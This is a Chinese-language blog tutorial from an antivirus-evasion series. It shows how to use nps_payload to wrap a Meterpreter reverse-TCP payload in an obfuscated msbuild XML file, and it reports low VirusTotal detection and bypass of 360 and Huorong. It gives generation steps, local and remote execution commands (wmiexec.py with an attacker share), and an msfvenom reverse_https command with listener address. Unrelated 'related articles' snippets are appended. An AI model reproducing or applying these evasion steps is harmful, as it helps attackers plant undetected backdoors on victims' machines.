遠控免殺專題(19)-nps_payload免殺

免殺能力一覽表

在這里插入圖片描述
幾點說明:

1、上表中標識 √ 說明相應殺毒軟件未檢測出病毒,也就是代表了Bypass。

2、為了更好的對比效果,大部分測試payload均使用msf的windows/meterperter/reverse_tcp模塊生成。

3、由于本機測試時只是安裝了360全家桶和火絨,所以默認情況下360和火絨殺毒情況指的是靜態+動態查殺。360殺毒版本5.0.0.8160(2020.01.01),火絨版本5.0.34.16(2020.01.01),360安全衛士12.0.0.2002(2020.01.01)。

4、其他殺軟的檢測指標是在virustotal.com(簡稱VT)上在線查殺,所以可能只是代表了靜態查殺能力,數據僅供參考,不足以作為免殺或殺軟查殺能力的判斷指標。

5、完全不必要苛求一種免殺技術能bypass所有殺軟,這樣的技術肯定是有的,只是沒被公開,一旦公開第二天就能被殺了,其實我們只要能bypass目標主機上的殺軟就足夠了。

一、nps_payload介紹

nps_payload是2017年開源的工具,安裝使用都比較簡單,nps_payload可以生成基于msbuild的xml文件和獨立執行的hta文件,并對xml文件和hta文件做了一定的混淆免殺,從而達到免殺的效果。

二、安裝nps_payload

1、克隆到本地

git clone  https://github.com/trustedsec/nps_payload

2、安裝py依賴


pip install -r requirements.txt

3、運行python nps_payload.py
在這里插入圖片描述

三、nps_payload使用說明

nps_payload生成的xml或hta文件都需要使用msbuild來執行。

Microsoft Build Engine是一個用于構建應用程序的平臺,此引擎也被稱為msbuild,它為項目文件提供一個XML模式,該模式控制構建平臺如何處理和構建軟件。Visual Studio使用MSBuild,但它不依賴于Visual Studio。通過在項目或解決方案文件中調用msbuild.exe,可以在未安裝Visual Studio的環境中編譯和生成程序。

說明:Msbuild.exe所在路徑沒有被系統添加PATH環境變量中,因此,Msbuild命令無法直接在cmd中使用。需要帶上路徑:C:\Windows\Microsoft.NET\Framework\v4.0.30319。

適用條件:.NET Framework>=4.0

nps_payload對xml文件和hta文件做的一些免殺是比較直接有效的:

在這里插入圖片描述

三、利用nps_payload生成后門

我就以生成基于msbuild的xml文件為例進行演示。

執行python nps_payload.py,選擇1,Generate msbuild/nps/msf payload

第2步payload選擇1,windows/meterpreter/reverse_tcp

后面輸入監聽IP和端口
在這里插入圖片描述
之后可生成后門文件
在這里插入圖片描述
我們需要用到的只有msbuild_nps.xml這一個文件
在這里插入圖片描述
msbuild_nps.xml文件內容如下,命令經過了編碼處理
在這里插入圖片描述
文件的執行方式有兩種

1. 本地加載執行:
- %windir%\Microsoft.NET\Framework\v4.0.30319\msbuild.exe <folder_path_here>\msbuild_nps.xml2. 遠程文件執行:wmiexec.py <USER>:'<PASS>'@<RHOST> cmd.exe /c start %windir%\Microsoft.NET\Framework\v4.0.30319\msbuild.exe \\<attackerip>\<share>\msbuild_nps.xml

我這里就用本地加載進行測試,msbuild.exe在windows中的的一般路徑為C:\windows\microsoft.net\framework\v4.0.30319\msbuild.exe
在這里插入圖片描述
msfconsole監聽相應payload和端口,可正常上線
在這里插入圖片描述
打開殺軟進行測試
在這里插入圖片描述
virustotal.com上查殺率為3/56

在這里插入圖片描述
使用nps_payload生成的hta文件,virustotal.com上查殺率為7/57。(msf直接生成的hta-psh文件查殺為28/57,msfvenom -a x86 -p windows/meterpreter/reverse_https LHOST=10.211.55.2 LPORT=3333 -f hta-psh -o test.hta)
在這里插入圖片描述

四、nps_payload小結

基于白名單的執行payload侯亮大神講的比較多了,nps_payload只是使用了其中的msbuild.exe方法,nps_payload還對生成的文件進行了混淆處理,使用非常簡單,免殺效果也是不錯的。

五、參考資料

官方Github:https://github.com/trustedsec/nps_payload

基于白名單Msbuild.exe執行payload第一季:https://micro8.gitbook.io/micro8/contents-1/71-80/71-ji-yu-bai-ming-dan-msbuild.exe-zhi-hang-payload-di-yi-ji

使用msbuild.exe繞過應用程序白名單(多種方法):https://www.cnblogs.com/backlion/p/10490573.html

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/380115.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/380115.shtml
英文地址,請注明出處:http://en.pswp.cn/news/380115.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

VS2005中使用WebDeploymentProject的問題

近來做Web項目&#xff0c;VS2005中發布網站時默認發布大批的程序集&#xff0c;這給升級網站時造成很大麻煩&#xff0c;所以偶從MS下載了個WebDeploymentProject的插件&#xff08;下載地址http://download.microsoft.com/download/c/c/b/ccb4877f-55f7-4478-8f16-e41886607a…

操作系統中的多級隊列調度

多級隊列調度 (Multilevel queue scheduling) Every algorithm supports a different class of process but in a generalized system, some process wants to be scheduled using a priority algorithm. While some process wants to remain in the system (interactive proce…

編寫一程序,輸入一個字符串,查找該字符串中是否包含“abc”。

import java.lang.String.*;//這里調用java.long.String.contains()方法&#xff1b; import java.util.Scanner; public class shit {public static void main(String[] args) {Scanner wsq new Scanner(System.in);String str wsq.next();boolean status str.contains(&qu…

顯示消息提示對話框(WebForm)

1: /// <summary>2: /// 顯示消息提示對話框。3: /// Copyright (C) Maticsoft4: /// </summary>5: public class MessageBox6: { 7: private MessageBox()8: { 9: }10: 11: …

借助格式化輸出過canary保護

0x01 canary保護機制 棧溢出保護是一種緩沖區溢出攻擊緩解手段&#xff0c;當函數存在緩沖區溢出攻擊漏洞時&#xff0c;攻擊者可以覆蓋棧上的返回地址來讓shellcode能夠得到執行。當啟用棧保護后&#xff0c;函數開始執行的時候會先往棧里插入cookie信息&#xff0c;當函數真…

什么叫灰度圖

任何顏色都有紅、綠、藍三原色組成&#xff0c;假如原來某點的顏色為RGB(R&#xff0c;G&#xff0c;B)&#xff0c;那么&#xff0c;我們可以通過下面幾種方法&#xff0c;將其轉換為灰度&#xff1a; 1.浮點算法&#xff1a;GrayR*0.3G*0.59B*0.11 2.整數方法&#xff1a;Gra…

各抓包軟件的之間差異_系統軟件和應用程序軟件之間的差異

各抓包軟件的之間差異什么是軟件&#xff1f; (What is Software?) Software is referred to as a set of programs that are designed to perform a well-defined function. A program is a particular sequence of instructions written to solve a particular problem. 軟件…

輸入一字符串,統計其中有多少個單詞(單詞之間用空格分隔)(java)

import java.util.*; class Example3{public static void main(String args[]){Scanner sc new Scanner(System.in);String s sc.nextLine();//這里的sc.nextLine&#xff08;&#xff09;空格也會記數&#xff1b;StringTokenizer st new StringTokenizer(s," ")…

為何苦命干活的人成不了專家?

所謂熟能生巧&#xff0c;但離專家卻有一個巨大的鴻溝&#xff0c;在農田干活的農民怎么也成不了水稻專家&#xff0c;推廣之&#xff0c;那些在本職工作上勤勤懇懇的人&#xff0c;在業務上總有一個不可沖破的瓶頸。 這種現象非常普遍&#xff0c;這就是為什么很多人很勤奮&am…

今天發布一個新網站www.heijidi.com

新網站發布了&#xff0c;歡迎訪問&#xff0c;關于國產機的 網站 www.heijidi.com 轉載于:https://www.cnblogs.com/liugod/archive/2008/03/26/1122753.html

ret2shellcdoe

ret2shellcode的關鍵是找到一個緩沖區&#xff0c;這個緩沖區是可讀寫寫可執行的&#xff0c;我們要想辦法把我們的shellcdoe放到這個緩沖區&#xff0c;然后跳轉到我們的shellcode處執行。 例子&#xff1a; #include <stdio.h> #include <string.h> char str1[…

stl取出字符串中的字符_從C ++ STL中的字符串訪問字符元素

stl取出字符串中的字符字符串作為數據類型 (String as datatype) In C, we know string basically a character array terminated by \0. Thus to operate with the string we define character array. But in C, the standard library gives us the facility to use the strin…

Object類的hashCode()方法

public class day11 {public static void main(String[] args) {Object obj1 new Object();int hashCode obj1.hashCode();System.out.println(hashCode);}} hashCode public int hashCode()返回該對象的哈希碼值。支持此方法是為了提高哈希表&#xff08;例如 java.util.Ha…

調整Tomcat上的參數提高性能[轉]

Webtop Performance Test w/ Tomcat(調整Tomcat上的參數提高性能) Login several users with one second between each login. After the 25th user, the users begin to experience poor performance, to the point where some users are receiving “Page cannot be display…

RecordSet中的open完全的語法

RecordSet中的open完全的語法是:SecordSet.Open Source,ActiveConnection,CursorType,LockType,Options例如&#xff1a; rs.open sql,conn,1,3CursorTypeadOpenForwardOnly 0 默認游標類型, 為打開向前游標, 只能在記錄集中向前移動。adOpenKeyset 1 打開鍵集類型的游標, 可以…

用篩選法求100之內的素數

#include <stdio.h> int main() {int i ,j ,a[100];//定義一個數組存放1~100&#xff1b;for(i2; i<100; i)//由于1既不是素數也不是質素&#xff0c;所以不用考慮1&#xff0c;直接從2開始&#xff1b;{a[i]i;//以次賦值&#xff0c;2~100&#xff1b;for(j2; j<i…

遠控免殺專題(20)-GreatSCT免殺

轉載&#xff1a;https://mp.weixin.qq.com/s/s9DFRIgpvpE-_MneO0B_FQ 免殺能力一覽表 幾點說明&#xff1a; 1、上表中標識 √ 說明相應殺毒軟件未檢測出病毒&#xff0c;也就是代表了Bypass。 2、為了更好的對比效果&#xff0c;大部分測試payload均使用msf的windows/mete…

Java LinkedList對象的get(int index)方法與示例

LinkedList對象的get(int索引)方法 (LinkedList Object get(int index) method) This method is available in package java.util.LinkedList.get(int index). 軟件包java.util.LinkedList.get(int index)中提供了此方法。 This method is used to retrieve an object or eleme…

Sql養成一個好習慣是一筆財富

我們做軟件開發的&#xff0c;大部分人都離不開跟數據庫打交道&#xff0c;特別是erp開發的&#xff0c;跟數據庫打交道更是頻繁&#xff0c;存儲過程動不動就是上千行&#xff0c;如果數據量大&#xff0c;人員流動大&#xff0c;那么我么還能保證下一段時間系統還能流暢的運行…

java上傳類

publicString doFormFile(FormFile file, String dir) { try { File f new File(dir); if (!f.exists()) { f.mkdir();//如果路徑不存在&#xff0c;創建 } InputStream in file.getInputStream(); …